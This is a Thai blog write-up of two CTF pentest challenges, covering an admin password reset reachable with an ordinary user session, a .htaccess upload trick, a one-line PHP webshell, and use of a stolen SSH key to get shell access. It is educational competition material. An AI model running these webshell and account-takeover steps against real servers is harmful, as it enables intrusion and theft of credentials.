รีวิวการแข่ง SECPlayground Hackloween CTF 2025 | wiki1 wiki2

ข้อมูลทั่วไปความรู้Cyber Security
https://storage.googleapis.com/code-leagues/Kritphat_Nhuea_0378903407/Kritphat_Nhuea_0378903407.png

กฤษฏิ์พัฒน์

เผยแพร่เมื่อ

อัปเดตล่าสุดเมื่อ

รีวิวการแข่ง SECPlayground Hackloween CTF 2025 | wiki1 wiki2

📌 สาระสำคัญ

  • รีวิวการแข่ง SecPlayground
  • Broken Access Control
  • การใช้ webshell
  • การ ssh ด้วย RSA key

รีวิวโจทย์สองข้อในการแข่ง SecPlayground Hackloween 2025

สวัสดีครับ ผมนอร์ทจาก Harbour.Space@UTCC ม.หอการค้าฯ กับ Leagues of Code TH ครับ ได้ลงแข่งในรายการ SecPlayground Hackloween 2025 ในทีมชื่อ lnwzaGayNorth696969 วันนี้อยากมาแชร์ประสบการณ์และแนวคิดในการแก้โจทย์ Pentest ที่น่าสนใจมาฝาก

Rank_secplayground_lnwzaGayNorth.jpg

ถ้าพร้อมแล้วก็


ไปกันนน!


โจทย์ 2 ข้อนี้อยู่ในหมวด pentest + pwnable

🦄 Wiki#1

Dr. Mitchell's so confident in her system that she's offered a bonus if you can prove her wrong.

Flag Format: pwnable{….} โจทย์ให้ port 80,2222,4444,4445 มา

ผมลองใช้ nmap -sV เช็ค service แต่ละ port

BASH
1
nmap -sV -p port_number ipserver
nmap.png

จะเห็นว่ามี port 80 service เป็น http และ port 2222 ที่เป็น ssh หลังจากนั้นผมก็ลองเข้าหน้าเว็บ และใช้ gobuster สแกน เว็บบน terminal

gubuster.png

ทีนี้ก็จะเห็นว่ามี path upload ซึ่งอาจจะทำการ upload file เพื่อเรียก webshell ได้และยังมี path api ที่อาจจะมีช่องโหว่ได้ (ที่จริงหน้าเว็บมี button ให้เรา redirect ไปpath api อยู่)

หลังจากอ่าน API ดูก็เจอส่วนที่บอกว่า

api.png

จะเห็นได้ว่ามี path /admin-reset-password.php และมี note ว่า Requires user session but no admin privilege check แปลว่าสามารถใช้ user session login ไปแก้ไข password ของ admin ได้

ทีนี้ sign up สร้าง account ใหม่ขึ้นมาผมจะให้ username: user password: user888 หลังจากนั้นเข้าไปแล้วใช้ลอง inspect ดู cookie session หรือจะ burpsuite ดักแล้วดูก็ได้

หลังจากได้ cookie มา สมมติ cookie ที่ผมได้ คือ PHPSESSID:"ad7lctv9m3g8uplckps8hnfksm”

ผมจะใช้คำสั่ง curl ในการแก้ header แล้วดูสิ่งที่ server ตอบกลับมา

BASH
1
2
3
4
5
6
7
curl -X POST http://136.110.4.23/admin-reset-password.php \ #ใส่ target url เราไปที่ path adimin-reset-password.php เพราะจากข้อมูลที่เราได้เราต้องแก้ password ด้วย path
# -H คือแก้ header
-H "Cookie: PHPSESSID=ad7lctv9m3g8uplckps8hnfksm" \ #ใส่ cookie ของเราเข้าไป
-H "Content-Type: application/x-www-form-urlencoded" \ #ระบุ format data (Example format data of this content is key1=value1&key2=value2)
-H "Referer: http://136.110.4.23/" \ #หลอก server ว่าคำขอมาจากหน้าเว็บ สามารถนำไปใช้ bypass basic CSRF protection ได้
-d "username=admin&new_password=pwned123" \ #ใส่ data ตาม parameter จากที่ได้จากการอ่าน JSON ด้านบน ตรง new_password ใส่รหัสอะไรก็ได้ที่เราอยากใส่
-v #บอกให้โชว์ทั้ง request และ respond

ส่วนของresult ที่ได้

PLAINTEXT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 136.110.4.23:80...
* Connected to 136.110.4.23 (136.110.4.23) port 80
* using HTTP/1.x
> POST /admin-reset-password.php HTTP/1.1
> Host: 136.110.4.23
> User-Agent: curl/8.12.1
> Accept: */*
> Cookie: PHPSESSID=ad7lctv9m3g8uplckps8hnfksm
> Content-Type: application/x-www-form-urlencoded
> Referer: http://136.110.4.23/
> Content-Length: 36
>
* upload completely sent off: 36 bytes
< HTTP/1.1 200 OK
< Date: Sat, 01 Nov 2025 03:57:45 GMT
< Server: Apache/2.4.52 (Ubuntu)
< X-Frame-Options: SAMEORIGIN
< X-Content-Type-Options: nosniff
< X-XSS-Protection: 1; mode=block
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Length: 2076
< Content-Type: text/html; charset=UTF-8
<
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Reset Password - SecureWiki Pro</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-header">
<h3 class="text-center">Admin Password Reset</h3>
</div>
<div class="card-body">
<div class="alert alert-danger">Invalid CSRF token</div>
<form method="POST">
<input type="hidden" name="csrf_token" value="7b6c6c1b33e6ada106d9dcf18695e6dcb85707bfb6ee7b9e862ba1e74c2d5e1a">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" value="" required>
</div>
<div class="mb-3">
<label for="new_password" class="form-label">New Password</label>
<input type="password" class="form-control" id="new_password" name="new_password" required>
</div>
<button type="submit" class="btn btn-primary w-100">Reset Password</button>
</form>
<div class="text-center mt-3">
<a href="index.php">Back to Home</a>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
* Connection #0 to host 136.110.4.23 left intact
</html>

จาก result ที่เราได้จะสังเกตเห็นว่ามี <div class="alert alert-danger">Invalid CSRF token</div> บอกว่า csrf token ไม่ถูกต้อง และ

1
<input type="hidden" name="csrf_token" value="7b6c6c1b33e6ada106d9dcf18695e6dcb85707bfb6ee7b9e862ba1e74c2d5e1a">

มีการให้ csrf token ผ่าน variable csrf_token ที่นี้ผมเลยจะใส่ csrf ตอนระบุ data เพิ่มไปด้วย

PLAINTEXT
1
2
3
4
curl -X POST http://136.110.4.23/admin-reset-password.php \
-H "Cookie: PHPSESSID=ad7lctv9m3g8uplckps8hnfksm" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&new_password=pwned123&csrf_token=7b6c6c1b33e6ada106d9dcf18695e6dcb85707bfb6ee7b9e862ba1e74c2d5e1a"

result ที่ได้คือ

PLAINTEXT
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Reset Password - SecureWiki Pro</title>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container mt-5">
<div class="row justify-content-center">
<div class="col-md-6">
<div class="card">
<div class="card-header">
<h3 class="text-center">Admin Password Reset</h3>
</div>
<div class="card-body">
<div class="alert alert-success">Password reset successfully for user: admin</div>
<form method="POST">
<input type="hidden" name="csrf_token" value="7b6c6c1b33e6ada106d9dcf18695e6dcb85707bfb6ee7b9e862ba1e74c2d5e1a">
<div class="mb-3">
<label for="username" class="form-label">Username</label>
<input type="text" class="form-control" id="username" name="username" value="" required>
</div>
<div class="mb-3">
<label for="new_password" class="form-label">New Password</label>
<input type="password" class="form-control" id="new_password" name="new_password" required>
</div>
<button type="submit" class="btn btn-primary w-100">Reset Password</button>
</form>
<div class="text-center mt-3">
<a href="index.php">Back to Home</a>
</div>
</div>
</div>
</div>
</div>
</div>
</body>
</html>

จะเห็นว่า Password reset สำเร็จจากบรรทัด <div class="alert alert-success">Password reset successfully for user: admin</div>

จะเห็นได้ว่ามีการระบุว่า log in สำเร็จทีนี้ผมก็เข้าไปล็อกอินหน้าเว็บไซต์ด้วย

user: admin password: pwned123

ก็จะเห็นช่อง upload file (ลืมแคปรูป T-T) ซึ่งข้อความระบุว่า

Maximum file size: 10MB per upload

Blocked extensions: .php, .php3, .php4, .php5, .phtml, .phar, .exe, .sh, .bat, .cmd

Configuration files (.htaccess) are allowed for web server customization

ซึ่งแปลว่าเราไม่สามารถ upload .php ได้โดยตรง ต้อง upload ไฟล์ .htaccess ก่อน

ผมก็จะสร้างไฟล์ .htaccess

BASH
1
2
3
4
echo "AddType application/x-httpd-php .jpg" > .htaccess
#AddType คือ Apache directive (command)
#application/x-httpd-php ตรงนี้คือ MIME type ซึ่งเราระบุไปว่าสำหรับ php file เพื่อให้บอก Apache ว่า ให้มองอันนี้เป็น php ไฟล์และ execute
#.jpg ก็คือ ประเภท file ที่เราจะอัปโหลด

หลังจากนั้นผมก็ upload ไปในช่อง upload

จากนั้นผมก็สร้างไฟล์ .php.jpg ขึ้นมา

BASH
1
echo '<?php system($_GET["cmd"]); ?>' > shell.php.jpg

แล้วก็ upload ขึ้นไปในช่อง upload หลังจากนั้นก็ลองเล่นกับ webshell ดู

PLAINTEXT
1
curl "http://136.110.4.23/uploads/shell.php.jpg?cmd=whoami"

result จะขึ้นว่า www-data ก็คือ user ปัจจุบันเรา และแปลว่า webshell active เรียบร้อย

ที่นี้ผมก็ลองใช้คำสั่ง find ในการหา flag ดู find / -name *flag* 2> /dev/null

คำสั่งนี้คือการหา file ที่มีคำว่า flag ทั่วระบบโดยจะนำ error ไปทิ้งที่ /dev/null

PLAINTEXT
1
curl "http://136.110.4.23/uploads/shell.php.jpg?cmd=find+/+-name+*flag*+2>/dev/null"

result ที่ได้

find.png

ก็จะเห็นว่ามี flag.txt ซ่อนอยู่ที่ /tmp/flag_ZTBhN.txt จะรออะไรล่ะคับแมวเลย

BASH
1
curl "http://136.110.4.23/uploads/shell.php.jpg?cmd=cat+/tmp/flag_ZTBhN.txt"

ข่าวดีผมลืม copy flag มา T-T


🦄 Wiki#2

หลังจากที่ผมทำข้อแรกเสร็จก็เดาๆเลยว่าน่าจะเล่นกับคำสั่ง ssh แน่ๆ

ซึ่งโจทย์มาแค่ "After the 1st flag, you need to find another flag inside the host"

ซึ่งตอนนี้ผมจะใช้ ssh ได้ไงเพราะผมไม่รู้ user ไม่รู้ password ในเครื่องที่จะ ssh เข้าเลย ผมก็เลยจะเริ่มจากการหา user ก่อนใน /etc/passwd แล้ว grep หา /bin/bash เพราะว่าปกติ user จะมีshell เป็น /bin/bash

BASH
1
curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=cat+/etc/passwd+|+grep+/bin/bash"

result ที่ได้

passwd.png

ทีนี้ผมเห็น 2 users คือ root กับ uncle ผมเลยมั่นใจเลยว่าจะต้องใช้ user uncle แน่ๆ

ทีนี้ยังเหลือรหัสผ่านซึ่งผมจะใช้เป็น RSA key ในการเข้าไปยัง server

ที่นี้ผมก็ลองจะเข้าไปใน directory ของ uncle เพื่อจะเข้า directory .ssh ดูก็เข้าไม่ได้เพราะไม่มี permission ทีนี้ผมก็เลยไปเช็คที่ directory /tmp ที่เจอ flag แรกดู (ที่จริงตรงนี้ผมก็หลงทางอยู่นานอยู่แต่โจทย์แอบสกิดใจเลยลองไปดูที่ directory temporary ก็คือบริเวณที่เจอ flag แรก)

BASH
1
curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=ls+-la+/tmp"

result ที่ได้

ssh_backup.png

หลังจากนั้นก็ลอง list ไฟล์ ใน ssh_backup ดู

BASH
1
curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=ls+-la+/tmp/ssh_backup"

แล้วผมก็เจอ file ชื่อ id_rsa อยู่ รออะไรล่ะคับรีบแมวเลย

BASH
1
curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=cat+/tmp/ssh_backup/id_rsa"
idrsa.png

ทีนี้ผมก็จะเอา key ที่ได้มาสร้างเป็น file ในเครื่องตัวเองและเปลี่ยน permission

ที่เราเปลี่ยน permission เป็น 600 เพราะว่าจะให้ owner สามารถ read + write ได้และคนอื่นไม่สามารถทำอะไรกับ file นี้ได้ ถ้าใช้ permission อื่นๆ SSH จะ ปฏิเสธ ใช้ key นั้นโดยตรง เพื่อป้องกันความเสี่ยง

BASH
1
2
3
4
5
# Save file
curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=cat+/tmp/ssh_backup/id_rsa" > uncle_id_rsa
# เปลี่ยน Permission
chmod 600 uncle_id_rsa

หลังจากนั้นก็ ssh เข้าด้วย RSA key

BASH
1
ssh -i uncle_id_rsa -p 2222 [email protected]

ทีนี้ก็จะเข้าเครื่องได้

หลังจากนั้นผมก็เข้าไปเช็ค directory ใน folder ของ uncle ถ้าผมจำไม่ผิดผมก็ไม่เจออะไร

ผมเลยอยากลองดูprocess จาก root ใช้คำสั่ง

BASH
1
ps aux | grep root

จะเจอ

psaux.png

จากที่ผมเห็นผมคิดว่าโอเค flag อยู่ใน directory ของ root แน่ๆ และก็มี setup database อยู่ที่ /usr/local/bin/setup-db.sh

ก็เลยลองแมวออกมาดูเผื่อเจออะไรสำคัญ

BASH
1
cat /usr/local/bin/setup-db.sh
setup.png

เราได้ password เรียบร้อย

ทีนี้ผมก็จะใช้ sudo su ในการเปลี่ยน user เป็น root

ซึ่ง server ตอบกลับมาว่า

sudosu.png

ช็อต!!!!!!!!!! ไม่สามารถใช้ sudo ได้

ทีนี้ผมลองเช็คหลายอย่างมากก็ไม่เจอ + Permission denied

ทีนี้ผมเลยลองใช้ผ่าน webshell เพราะว่ามันคือ คนละ user อาจจะมี permission ที่แตกต่าง หรือ อาจอยู่ใน environment ของ www-data

ผมเลยลอง หาใน env ของ www-data และลองเพิ่ม keyword random ไปด้วย

BASH
1
curl "http://34.124.247.228/uploads/shell.php.jpg?cmd=env" | grep -i random
flag2.png

เจอ flag และ ได้ First blood ด้วยสำหรับข้อนี้

ขอบคุณที่อ่านจนจบคั้บบบบ <3


บทความที่เกี่ยวข้อง